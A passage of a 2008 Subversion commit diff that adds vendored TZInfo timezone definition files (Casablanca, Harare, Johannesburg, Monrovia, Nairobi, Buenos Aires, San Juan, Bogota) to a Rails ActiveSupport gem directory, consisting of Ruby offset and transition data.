+          tz.transition 1945, 10, :o1, 19454083, 8
+          tz.transition 1957, 5, :o2, 29231621, 12
+          tz.transition 1957, 9, :o1, 19488899, 8
+          tz.transition 1958, 4, :o2, 29235893, 12
+          tz.transition 1958, 9, :o1, 19491819, 8
+          tz.transition 1959, 4, :o2, 58480547, 24
+          tz.transition 1959, 9, :o1, 4873683, 2
+          tz.transition 1960, 4, :o2, 58489331, 24
+          tz.transition 1960, 9, :o1, 4874415, 2
+          tz.transition 1961, 4, :o2, 58498091, 24
+          tz.transition 1961, 9, :o1, 4875145, 2
+          tz.transition 1962, 4, :o2, 58506851, 24
+          tz.transition 1962, 9, :o1, 4875875, 2
+          tz.transition 1963, 4, :o2, 58515611, 24
+          tz.transition 1963, 9, :o1, 4876605, 2
+          tz.transition 1964, 4, :o2, 58524395, 24
+          tz.transition 1964, 9, :o1, 4877337, 2
+          tz.transition 1965, 4, :o2, 58533155, 24
+          tz.transition 1965, 9, :o1, 4878067, 2
+          tz.transition 1966, 4, :o2, 58541915, 24
+          tz.transition 1966, 10, :o1, 4878799, 2
+          tz.transition 1967, 4, :o2, 58550675, 24
+          tz.transition 1967, 10, :o1, 4879529, 2
+          tz.transition 1968, 4, :o2, 58559459, 24
+          tz.transition 1968, 10, :o1, 4880261, 2
+          tz.transition 1969, 4, :o2, 58568219, 24
+          tz.transition 1969, 10, :o1, 4880991, 2
+          tz.transition 1970, 4, :o2, 10364400
+          tz.transition 1970, 10, :o1, 23587200
+          tz.transition 1971, 4, :o2, 41900400
+          tz.transition 1971, 10, :o1, 55123200
+          tz.transition 1972, 4, :o2, 73522800
+          tz.transition 1972, 10, :o1, 86745600
+          tz.transition 1973, 4, :o2, 105058800
+          tz.transition 1973, 10, :o1, 118281600
+          tz.transition 1974, 4, :o2, 136594800
+          tz.transition 1974, 10, :o1, 149817600
+          tz.transition 1975, 4, :o2, 168130800
+          tz.transition 1975, 10, :o1, 181353600
+          tz.transition 1976, 4, :o2, 199753200
+          tz.transition 1976, 10, :o1, 212976000
+          tz.transition 1977, 4, :o2, 231289200
+          tz.transition 1977, 10, :o1, 244512000
+          tz.transition 1978, 4, :o2, 262825200
+          tz.transition 1978, 10, :o1, 276048000
+          tz.transition 1979, 4, :o2, 294361200
+          tz.transition 1979, 10, :o1, 307584000
+          tz.transition 1980, 4, :o2, 325983600
+          tz.transition 1980, 10, :o1, 339206400
+          tz.transition 1981, 4, :o2, 357519600
+          tz.transition 1981, 10, :o1, 370742400
+          tz.transition 1982, 7, :o2, 396399600
+          tz.transition 1982, 10, :o1, 402278400
+          tz.transition 1983, 7, :o2, 426812400
+          tz.transition 1983, 10, :o1, 433814400
+          tz.transition 1984, 4, :o2, 452214000
+          tz.transition 1984, 10, :o1, 465436800
+          tz.transition 1985, 4, :o2, 483750000
+          tz.transition 1985, 10, :o1, 496972800
+          tz.transition 1986, 4, :o2, 515286000
+          tz.transition 1986, 10, :o1, 528508800
+          tz.transition 1987, 4, :o2, 546822000
+          tz.transition 1987, 10, :o1, 560044800
+          tz.transition 1988, 4, :o2, 578444400
+          tz.transition 1988, 10, :o1, 591667200
+          tz.transition 1989, 5, :o2, 610412400
+          tz.transition 1989, 10, :o1, 623203200
+          tz.transition 1990, 4, :o2, 641516400
+          tz.transition 1990, 10, :o1, 654739200
+          tz.transition 1991, 4, :o2, 673052400
+          tz.transition 1991, 10, :o1, 686275200
+          tz.transition 1992, 4, :o2, 704674800
+          tz.transition 1992, 10, :o1, 717897600
+          tz.transition 1993, 4, :o2, 736210800
+          tz.transition 1993, 10, :o1, 749433600
+          tz.transition 1994, 4, :o2, 767746800
+          tz.transition 1994, 10, :o1, 780969600
+          tz.transition 1995, 4, :o2, 799020000
+          tz.transition 1995, 9, :o1, 812322000
+          tz.transition 1996, 4, :o2, 830469600
+          tz.transition 1996, 9, :o1, 843771600
+          tz.transition 1997, 4, :o2, 861919200
+          tz.transition 1997, 9, :o1, 875221200
+          tz.transition 1998, 4, :o2, 893368800
+          tz.transition 1998, 9, :o1, 906670800
+          tz.transition 1999, 4, :o2, 925423200
+          tz.transition 1999, 9, :o1, 938725200
+          tz.transition 2000, 4, :o2, 956872800
+          tz.transition 2000, 9, :o1, 970174800
+          tz.transition 2001, 4, :o2, 988322400
+          tz.transition 2001, 9, :o1, 1001624400
+          tz.transition 2002, 4, :o2, 1019772000
+          tz.transition 2002, 9, :o1, 1033074000
+          tz.transition 2003, 4, :o2, 1051221600
+          tz.transition 2003, 9, :o1, 1064523600
+          tz.transition 2004, 4, :o2, 1083276000
+          tz.transition 2004, 9, :o1, 1096578000
+          tz.transition 2005, 4, :o2, 1114725600
+          tz.transition 2005, 9, :o1, 1128027600
+          tz.transition 2006, 4, :o2, 1146175200
+          tz.transition 2006, 9, :o1, 1158872400
+          tz.transition 2007, 4, :o2, 1177624800
+          tz.transition 2007, 9, :o1, 1189112400
+          tz.transition 2008, 4, :o2, 1209074400
+          tz.transition 2008, 8, :o1, 1219957200
+          tz.transition 2009, 4, :o2, 1240524000
+          tz.transition 2009, 8, :o1, 1251406800
+          tz.transition 2010, 4, :o2, 1272578400
+          tz.transition 2010, 8, :o1, 1282856400
+          tz.transition 2011, 4, :o2, 1304028000
+          tz.transition 2011, 8, :o1, 1314306000
+          tz.transition 2012, 4, :o2, 1335477600
+          tz.transition 2012, 8, :o1, 1346360400
+          tz.transition 2013, 4, :o2, 1366927200
+          tz.transition 2013, 8, :o1, 1377810000
+          tz.transition 2014, 4, :o2, 1398376800
+          tz.transition 2014, 8, :o1, 1409259600
+          tz.transition 2015, 4, :o2, 1429826400
+          tz.transition 2015, 8, :o1, 1440709200
+          tz.transition 2016, 4, :o2, 1461880800
+          tz.transition 2016, 8, :o1, 1472158800
+          tz.transition 2017, 4, :o2, 1493330400
+          tz.transition 2017, 8, :o1, 1504213200
+          tz.transition 2018, 4, :o2, 1524780000
+          tz.transition 2018, 8, :o1, 1535662800
+          tz.transition 2019, 4, :o2, 1556229600
+          tz.transition 2019, 8, :o1, 1567112400
+          tz.transition 2020, 4, :o2, 1587679200
+          tz.transition 2020, 8, :o1, 1598562000
+          tz.transition 2021, 4, :o2, 1619733600
+          tz.transition 2021, 8, :o1, 1630011600
+          tz.transition 2022, 4, :o2, 1651183200
+          tz.transition 2022, 8, :o1, 1661461200
+          tz.transition 2023, 4, :o2, 1682632800
+          tz.transition 2023, 8, :o1, 1693515600
+          tz.transition 2024, 4, :o2, 1714082400
+          tz.transition 2024, 8, :o1, 1724965200
+          tz.transition 2025, 4, :o2, 1745532000
+          tz.transition 2025, 8, :o1, 1756414800
+          tz.transition 2026, 4, :o2, 1776981600
+          tz.transition 2026, 8, :o1, 1787864400
+          tz.transition 2027, 4, :o2, 1809036000
+          tz.transition 2027, 8, :o1, 1819314000
+          tz.transition 2028, 4, :o2, 1840485600
+          tz.transition 2028, 8, :o1, 1851368400
+          tz.transition 2029, 4, :o2, 1871935200
+          tz.transition 2029, 8, :o1, 1882818000
+          tz.transition 2030, 4, :o2, 1903384800
+          tz.transition 2030, 8, :o1, 1914267600
+          tz.transition 2031, 4, :o2, 1934834400
+          tz.transition 2031, 8, :o1, 1945717200
+          tz.transition 2032, 4, :o2, 1966888800
+          tz.transition 2032, 8, :o1, 1977166800
+          tz.transition 2033, 4, :o2, 1998338400
+          tz.transition 2033, 8, :o1, 2008616400
+          tz.transition 2034, 4, :o2, 2029788000
+          tz.transition 2034, 8, :o1, 2040670800
+          tz.transition 2035, 4, :o2, 2061237600
+          tz.transition 2035, 8, :o1, 2072120400
+          tz.transition 2036, 4, :o2, 2092687200
+          tz.transition 2036, 8, :o1, 2103570000
+          tz.transition 2037, 4, :o2, 2124136800
+          tz.transition 2037, 8, :o1, 2135019600
+          tz.transition 2038, 4, :o2, 29586521, 12
+          tz.transition 2038, 8, :o1, 19725299, 8
+          tz.transition 2039, 4, :o2, 29590889, 12
+          tz.transition 2039, 8, :o1, 19728211, 8
+          tz.transition 2040, 4, :o2, 29595257, 12
+          tz.transition 2040, 8, :o1, 19731179, 8
+          tz.transition 2041, 4, :o2, 29599625, 12
+          tz.transition 2041, 8, :o1, 19734091, 8
+          tz.transition 2042, 4, :o2, 29603993, 12
+          tz.transition 2042, 8, :o1, 19737003, 8
+          tz.transition 2043, 4, :o2, 29608361, 12
+          tz.transition 2043, 8, :o1, 19739915, 8
+          tz.transition 2044, 4, :o2, 29612813, 12
+          tz.transition 2044, 8, :o1, 19742827, 8
+          tz.transition 2045, 4, :o2, 29617181, 12
+          tz.transition 2045, 8, :o1, 19745795, 8
+          tz.transition 2046, 4, :o2, 29621549, 12
+          tz.transition 2046, 8, :o1, 19748707, 8
+          tz.transition 2047, 4, :o2, 29625917, 12
+          tz.transition 2047, 8, :o1, 19751619, 8
+          tz.transition 2048, 4, :o2, 29630285, 12
+          tz.transition 2048, 8, :o1, 19754531, 8
+          tz.transition 2049, 4, :o2, 29634737, 12
+          tz.transition 2049, 8, :o1, 19757443, 8
+          tz.transition 2050, 4, :o2, 29639105, 12
+          tz.transition 2050, 8, :o1, 19760355, 8
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Casablanca.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Casablanca.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Casablanca.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,40 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Africa
+      module Casablanca
+        include TimezoneDefinition
+        
+        timezone 'Africa/Casablanca' do |tz|
+          tz.offset :o0, -1820, 0, :LMT
+          tz.offset :o1, 0, 0, :WET
+          tz.offset :o2, 0, 3600, :WEST
+          tz.offset :o3, 3600, 0, :CET
+          
+          tz.transition 1913, 10, :o1, 10454687371, 4320
+          tz.transition 1939, 9, :o2, 4859037, 2
+          tz.transition 1939, 11, :o1, 58310075, 24
+          tz.transition 1940, 2, :o2, 4859369, 2
+          tz.transition 1945, 11, :o1, 58362659, 24
+          tz.transition 1950, 6, :o2, 4866887, 2
+          tz.transition 1950, 10, :o1, 58406003, 24
+          tz.transition 1967, 6, :o2, 2439645, 1
+          tz.transition 1967, 9, :o1, 58554347, 24
+          tz.transition 1974, 6, :o2, 141264000
+          tz.transition 1974, 8, :o1, 147222000
+          tz.transition 1976, 5, :o2, 199756800
+          tz.transition 1976, 7, :o1, 207702000
+          tz.transition 1977, 5, :o2, 231292800
+          tz.transition 1977, 9, :o1, 244249200
+          tz.transition 1978, 6, :o2, 265507200
+          tz.transition 1978, 8, :o1, 271033200
+          tz.transition 1984, 3, :o3, 448243200
+          tz.transition 1985, 12, :o1, 504918000
+          tz.transition 2008, 6, :o2, 1212278400
+          tz.transition 2008, 8, :o1, 1220223600
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Harare.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Harare.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Harare.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Africa
+      module Harare
+        include TimezoneDefinition
+        
+        timezone 'Africa/Harare' do |tz|
+          tz.offset :o0, 7452, 0, :LMT
+          tz.offset :o1, 7200, 0, :CAT
+          
+          tz.transition 1903, 2, :o1, 1932939531, 800
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Johannesburg.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Johannesburg.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Johannesburg.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Africa
+      module Johannesburg
+        include TimezoneDefinition
+        
+        timezone 'Africa/Johannesburg' do |tz|
+          tz.offset :o0, 6720, 0, :LMT
+          tz.offset :o1, 5400, 0, :SAST
+          tz.offset :o2, 7200, 0, :SAST
+          tz.offset :o3, 7200, 3600, :SAST
+          
+          tz.transition 1892, 2, :o1, 108546139, 45
+          tz.transition 1903, 2, :o2, 38658791, 16
+          tz.transition 1942, 9, :o3, 4861245, 2
+          tz.transition 1943, 3, :o2, 58339307, 24
+          tz.transition 1943, 9, :o3, 4861973, 2
+          tz.transition 1944, 3, :o2, 58348043, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Monrovia.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Monrovia.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Monrovia.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Africa
+      module Monrovia
+        include TimezoneDefinition
+        
+        timezone 'Africa/Monrovia' do |tz|
+          tz.offset :o0, -2588, 0, :LMT
+          tz.offset :o1, -2588, 0, :MMT
+          tz.offset :o2, -2670, 0, :LRT
+          tz.offset :o3, 0, 0, :GMT
+          
+          tz.transition 1882, 1, :o1, 52022445047, 21600
+          tz.transition 1919, 3, :o2, 52315600247, 21600
+          tz.transition 1972, 5, :o3, 73529070
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Nairobi.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Nairobi.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Nairobi.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Africa
+      module Nairobi
+        include TimezoneDefinition
+        
+        timezone 'Africa/Nairobi' do |tz|
+          tz.offset :o0, 8836, 0, :LMT
+          tz.offset :o1, 10800, 0, :EAT
+          tz.offset :o2, 9000, 0, :BEAT
+          tz.offset :o3, 9885, 0, :BEAUT
+          
+          tz.transition 1928, 6, :o1, 52389253391, 21600
+          tz.transition 1929, 12, :o2, 19407819, 8
+          tz.transition 1939, 12, :o3, 116622211, 48
+          tz.transition 1959, 12, :o1, 14036742061, 5760
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/Buenos_Aires.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/Buenos_Aires.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/Buenos_Aires.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,166 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Argentina
+        module Buenos_Aires
+          include TimezoneDefinition
+          
+          timezone 'America/Argentina/Buenos_Aires' do |tz|
+            tz.offset :o0, -14028, 0, :LMT
+            tz.offset :o1, -15408, 0, :CMT
+            tz.offset :o2, -14400, 0, :ART
+            tz.offset :o3, -14400, 3600, :ARST
+            tz.offset :o4, -10800, 0, :ART
+            tz.offset :o5, -10800, 3600, :ARST
+            
+            tz.transition 1894, 10, :o1, 17374555169, 7200
+            tz.transition 1920, 5, :o2, 1453467407, 600
+            tz.transition 1930, 12, :o3, 7278935, 3
+            tz.transition 1931, 4, :o2, 19411461, 8
+            tz.transition 1931, 10, :o3, 7279889, 3
+            tz.transition 1932, 3, :o2, 19414141, 8
+            tz.transition 1932, 11, :o3, 7281038, 3
+            tz.transition 1933, 3, :o2, 19417061, 8
+            tz.transition 1933, 11, :o3, 7282133, 3
+            tz.transition 1934, 3, :o2, 19419981, 8
+            tz.transition 1934, 11, :o3, 7283228, 3
+            tz.transition 1935, 3, :o2, 19422901, 8
+            tz.transition 1935, 11, :o3, 7284323, 3
+            tz.transition 1936, 3, :o2, 19425829, 8
+            tz.transition 1936, 11, :o3, 7285421, 3
+            tz.transition 1937, 3, :o2, 19428749, 8
+            tz.transition 1937, 11, :o3, 7286516, 3
+            tz.transition 1938, 3, :o2, 19431669, 8
+            tz.transition 1938, 11, :o3, 7287611, 3
+            tz.transition 1939, 3, :o2, 19434589, 8
+            tz.transition 1939, 11, :o3, 7288706, 3
+            tz.transition 1940, 3, :o2, 19437517, 8
+            tz.transition 1940, 7, :o3, 7289435, 3
+            tz.transition 1941, 6, :o2, 19441285, 8
+            tz.transition 1941, 10, :o3, 7290848, 3
+            tz.transition 1943, 8, :o2, 19447501, 8
+            tz.transition 1943, 10, :o3, 7293038, 3
+            tz.transition 1946, 3, :o2, 19455045, 8
+            tz.transition 1946, 10, :o3, 7296284, 3
+            tz.transition 1963, 10, :o2, 19506429, 8
+            tz.transition 1963, 12, :o3, 7315136, 3
+            tz.transition 1964, 3, :o2, 19507645, 8
+            tz.transition 1964, 10, :o3, 7316051, 3
+            tz.transition 1965, 3, :o2, 19510565, 8
+            tz.transition 1965, 10, :o3, 7317146, 3
+            tz.transition 1966, 3, :o2, 19513485, 8
+            tz.transition 1966, 10, :o3, 7318241, 3
+            tz.transition 1967, 4, :o2, 19516661, 8
+            tz.transition 1967, 10, :o3, 7319294, 3
+            tz.transition 1968, 4, :o2, 19519629, 8
+            tz.transition 1968, 10, :o3, 7320407, 3
+            tz.transition 1969, 4, :o2, 19522541, 8
+            tz.transition 1969, 10, :o4, 7321499, 3
+            tz.transition 1974, 1, :o5, 128142000
+            tz.transition 1974, 5, :o4, 136605600
+            tz.transition 1988, 12, :o5, 596948400
+            tz.transition 1989, 3, :o4, 605066400
+            tz.transition 1989, 10, :o5, 624423600
+            tz.transition 1990, 3, :o4, 636516000
+            tz.transition 1990, 10, :o5, 656478000
+            tz.transition 1991, 3, :o4, 667965600
+            tz.transition 1991, 10, :o5, 687927600
+            tz.transition 1992, 3, :o4, 699415200
+            tz.transition 1992, 10, :o5, 719377200
+            tz.transition 1993, 3, :o4, 731469600
+            tz.transition 1999, 10, :o3, 938919600
+            tz.transition 2000, 3, :o4, 952052400
+            tz.transition 2007, 12, :o5, 1198983600
+            tz.transition 2008, 3, :o4, 1205632800
+            tz.transition 2008, 10, :o5, 1224385200
+            tz.transition 2009, 3, :o4, 1237082400
+            tz.transition 2009, 10, :o5, 1255834800
+            tz.transition 2010, 3, :o4, 1269136800
+            tz.transition 2010, 10, :o5, 1287284400
+            tz.transition 2011, 3, :o4, 1300586400
+            tz.transition 2011, 10, :o5, 1318734000
+            tz.transition 2012, 3, :o4, 1332036000
+            tz.transition 2012, 10, :o5, 1350788400
+            tz.transition 2013, 3, :o4, 1363485600
+            tz.transition 2013, 10, :o5, 1382238000
+            tz.transition 2014, 3, :o4, 1394935200
+            tz.transition 2014, 10, :o5, 1413687600
+            tz.transition 2015, 3, :o4, 1426384800
+            tz.transition 2015, 10, :o5, 1445137200
+            tz.transition 2016, 3, :o4, 1458439200
+            tz.transition 2016, 10, :o5, 1476586800
+            tz.transition 2017, 3, :o4, 1489888800
+            tz.transition 2017, 10, :o5, 1508036400
+            tz.transition 2018, 3, :o4, 1521338400
+            tz.transition 2018, 10, :o5, 1540090800
+            tz.transition 2019, 3, :o4, 1552788000
+            tz.transition 2019, 10, :o5, 1571540400
+            tz.transition 2020, 3, :o4, 1584237600
+            tz.transition 2020, 10, :o5, 1602990000
+            tz.transition 2021, 3, :o4, 1616292000
+            tz.transition 2021, 10, :o5, 1634439600
+            tz.transition 2022, 3, :o4, 1647741600
+            tz.transition 2022, 10, :o5, 1665889200
+            tz.transition 2023, 3, :o4, 1679191200
+            tz.transition 2023, 10, :o5, 1697338800
+            tz.transition 2024, 3, :o4, 1710640800
+            tz.transition 2024, 10, :o5, 1729393200
+            tz.transition 2025, 3, :o4, 1742090400
+            tz.transition 2025, 10, :o5, 1760842800
+            tz.transition 2026, 3, :o4, 1773540000
+            tz.transition 2026, 10, :o5, 1792292400
+            tz.transition 2027, 3, :o4, 1805594400
+            tz.transition 2027, 10, :o5, 1823742000
+            tz.transition 2028, 3, :o4, 1837044000
+            tz.transition 2028, 10, :o5, 1855191600
+            tz.transition 2029, 3, :o4, 1868493600
+            tz.transition 2029, 10, :o5, 1887246000
+            tz.transition 2030, 3, :o4, 1899943200
+            tz.transition 2030, 10, :o5, 1918695600
+            tz.transition 2031, 3, :o4, 1931392800
+            tz.transition 2031, 10, :o5, 1950145200
+            tz.transition 2032, 3, :o4, 1963447200
+            tz.transition 2032, 10, :o5, 1981594800
+            tz.transition 2033, 3, :o4, 1994896800
+            tz.transition 2033, 10, :o5, 2013044400
+            tz.transition 2034, 3, :o4, 2026346400
+            tz.transition 2034, 10, :o5, 2044494000
+            tz.transition 2035, 3, :o4, 2057796000
+            tz.transition 2035, 10, :o5, 2076548400
+            tz.transition 2036, 3, :o4, 2089245600
+            tz.transition 2036, 10, :o5, 2107998000
+            tz.transition 2037, 3, :o4, 2120695200
+            tz.transition 2037, 10, :o5, 2139447600
+            tz.transition 2038, 3, :o4, 29586043, 12
+            tz.transition 2038, 10, :o5, 19725709, 8
+            tz.transition 2039, 3, :o4, 29590411, 12
+            tz.transition 2039, 10, :o5, 19728621, 8
+            tz.transition 2040, 3, :o4, 29594779, 12
+            tz.transition 2040, 10, :o5, 19731589, 8
+            tz.transition 2041, 3, :o4, 29599147, 12
+            tz.transition 2041, 10, :o5, 19734501, 8
+            tz.transition 2042, 3, :o4, 29603515, 12
+            tz.transition 2042, 10, :o5, 19737413, 8
+            tz.transition 2043, 3, :o4, 29607883, 12
+            tz.transition 2043, 10, :o5, 19740325, 8
+            tz.transition 2044, 3, :o4, 29612335, 12
+            tz.transition 2044, 10, :o5, 19743237, 8
+            tz.transition 2045, 3, :o4, 29616703, 12
+            tz.transition 2045, 10, :o5, 19746149, 8
+            tz.transition 2046, 3, :o4, 29621071, 12
+            tz.transition 2046, 10, :o5, 19749117, 8
+            tz.transition 2047, 3, :o4, 29625439, 12
+            tz.transition 2047, 10, :o5, 19752029, 8
+            tz.transition 2048, 3, :o4, 29629807, 12
+            tz.transition 2048, 10, :o5, 19754941, 8
+            tz.transition 2049, 3, :o4, 29634259, 12
+            tz.transition 2049, 10, :o5, 19757853, 8
+            tz.transition 2050, 3, :o4, 29638627, 12
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/San_Juan.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/San_Juan.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/San_Juan.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,86 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Argentina
+        module San_Juan
+          include TimezoneDefinition
+          
+          timezone 'America/Argentina/San_Juan' do |tz|
+            tz.offset :o0, -16444, 0, :LMT
+            tz.offset :o1, -15408, 0, :CMT
+            tz.offset :o2, -14400, 0, :ART
+            tz.offset :o3, -14400, 3600, :ARST
+            tz.offset :o4, -10800, 0, :ART
+            tz.offset :o5, -10800, 3600, :ARST
+            tz.offset :o6, -14400, 0, :WART
+            
+            tz.transition 1894, 10, :o1, 52123666111, 21600
+            tz.transition 1920, 5, :o2, 1453467407, 600
+            tz.transition 1930, 12, :o3, 7278935, 3
+            tz.transition 1931, 4, :o2, 19411461, 8
+            tz.transition 1931, 10, :o3, 7279889, 3
+            tz.transition 1932, 3, :o2, 19414141, 8
+            tz.transition 1932, 11, :o3, 7281038, 3
+            tz.transition 1933, 3, :o2, 19417061, 8
+            tz.transition 1933, 11, :o3, 7282133, 3
+            tz.transition 1934, 3, :o2, 19419981, 8
+            tz.transition 1934, 11, :o3, 7283228, 3
+            tz.transition 1935, 3, :o2, 19422901, 8
+            tz.transition 1935, 11, :o3, 7284323, 3
+            tz.transition 1936, 3, :o2, 19425829, 8
+            tz.transition 1936, 11, :o3, 7285421, 3
+            tz.transition 1937, 3, :o2, 19428749, 8
+            tz.transition 1937, 11, :o3, 7286516, 3
+            tz.transition 1938, 3, :o2, 19431669, 8
+            tz.transition 1938, 11, :o3, 7287611, 3
+            tz.transition 1939, 3, :o2, 19434589, 8
+            tz.transition 1939, 11, :o3, 7288706, 3
+            tz.transition 1940, 3, :o2, 19437517, 8
+            tz.transition 1940, 7, :o3, 7289435, 3
+            tz.transition 1941, 6, :o2, 19441285, 8
+            tz.transition 1941, 10, :o3, 7290848, 3
+            tz.transition 1943, 8, :o2, 19447501, 8
+            tz.transition 1943, 10, :o3, 7293038, 3
+            tz.transition 1946, 3, :o2, 19455045, 8
+            tz.transition 1946, 10, :o3, 7296284, 3
+            tz.transition 1963, 10, :o2, 19506429, 8
+            tz.transition 1963, 12, :o3, 7315136, 3
+            tz.transition 1964, 3, :o2, 19507645, 8
+            tz.transition 1964, 10, :o3, 7316051, 3
+            tz.transition 1965, 3, :o2, 19510565, 8
+            tz.transition 1965, 10, :o3, 7317146, 3
+            tz.transition 1966, 3, :o2, 19513485, 8
+            tz.transition 1966, 10, :o3, 7318241, 3
+            tz.transition 1967, 4, :o2, 19516661, 8
+            tz.transition 1967, 10, :o3, 7319294, 3
+            tz.transition 1968, 4, :o2, 19519629, 8
+            tz.transition 1968, 10, :o3, 7320407, 3
+            tz.transition 1969, 4, :o2, 19522541, 8
+            tz.transition 1969, 10, :o4, 7321499, 3
+            tz.transition 1974, 1, :o5, 128142000
+            tz.transition 1974, 5, :o4, 136605600
+            tz.transition 1988, 12, :o5, 596948400
+            tz.transition 1989, 3, :o4, 605066400
+            tz.transition 1989, 10, :o5, 624423600
+            tz.transition 1990, 3, :o4, 636516000
+            tz.transition 1990, 10, :o5, 656478000
+            tz.transition 1991, 3, :o6, 667792800
+            tz.transition 1991, 5, :o4, 673588800
+            tz.transition 1991, 10, :o5, 687927600
+            tz.transition 1992, 3, :o4, 699415200
+            tz.transition 1992, 10, :o5, 719377200
+            tz.transition 1993, 3, :o4, 731469600
+            tz.transition 1999, 10, :o3, 938919600
+            tz.transition 2000, 3, :o4, 952052400
+            tz.transition 2004, 5, :o6, 1085972400
+            tz.transition 2004, 7, :o4, 1090728000
+            tz.transition 2007, 12, :o5, 1198983600
+            tz.transition 2008, 3, :o4, 1205632800
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Bogota.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Bogota.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Bogota.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Bogota
+        include TimezoneDefinition
+        
+        timezone 'America/Bogota' do |tz|
+          tz.offset :o0, -17780, 0, :LMT
+          tz.offset :o1, -17780, 0, :BMT
+          tz.offset :o2, -18000, 0, :COT
+          tz.offset :o3, -18000, 3600, :COST
+          
+          tz.transition 1884, 3, :o1, 10407954409, 4320
+          tz.transition 1914, 11, :o2, 10456385929, 4320
+          tz.transition 1992, 5, :o3, 704869200
